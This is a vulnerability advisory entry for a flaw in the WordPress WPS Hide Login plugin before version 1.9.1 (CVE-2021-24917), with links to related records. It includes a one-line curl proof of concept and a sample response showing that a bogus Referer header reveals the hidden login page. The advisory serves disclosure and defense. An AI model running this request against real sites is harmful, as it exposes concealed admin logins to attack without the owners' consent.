Lucene search
Daniel RufWPEX-ID:15BB711A-7D70-4891-B7A2-C473E3E8B375HistoryOct 27, 2021 - 12:00 a.m.
WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
2021-10-2700:00:00
Daniel Ruf
100
0.041 Low
EPSS
Percentile
92.2%
The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
curl --referer "something" -sIXGET https://example.com/wp-admin/options.php
HTTP/2 302
...
location: https://example.com/secret-login/?redirect_to=%2Fwp-admin%2Fsomething&reauth=1Related
cve
cve
CVE-2021-24917
2021-12-06 16:15:08
cvelist
cvelist
nvd
nvd
CVE-2021-24917
2021-12-06 16:15:08
cnvd
cnvd
WordPress WPS Hide Login plugin authorization issue vulnerability
2021-12-09 00:00:00
githubexploit
githubexploit
Exploit for Incorrect Authorization in Wpserveur Wps Hide Login
2024-05-20 02:07:52
nuclei
nuclei
WordPress WPS Hide Login <1.9.1 - Information Disclosure
2022-08-31 19:45:11
prion
prion
Design/Logic Flaw
2021-12-06 16:15:00
openvas
openvas
wpvulndb
wpvulndb
WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
2021-10-27 00:00:00
rapid7blog
rapid7blog
Metasploit Wrap-Up
2021-12-17 22:53:06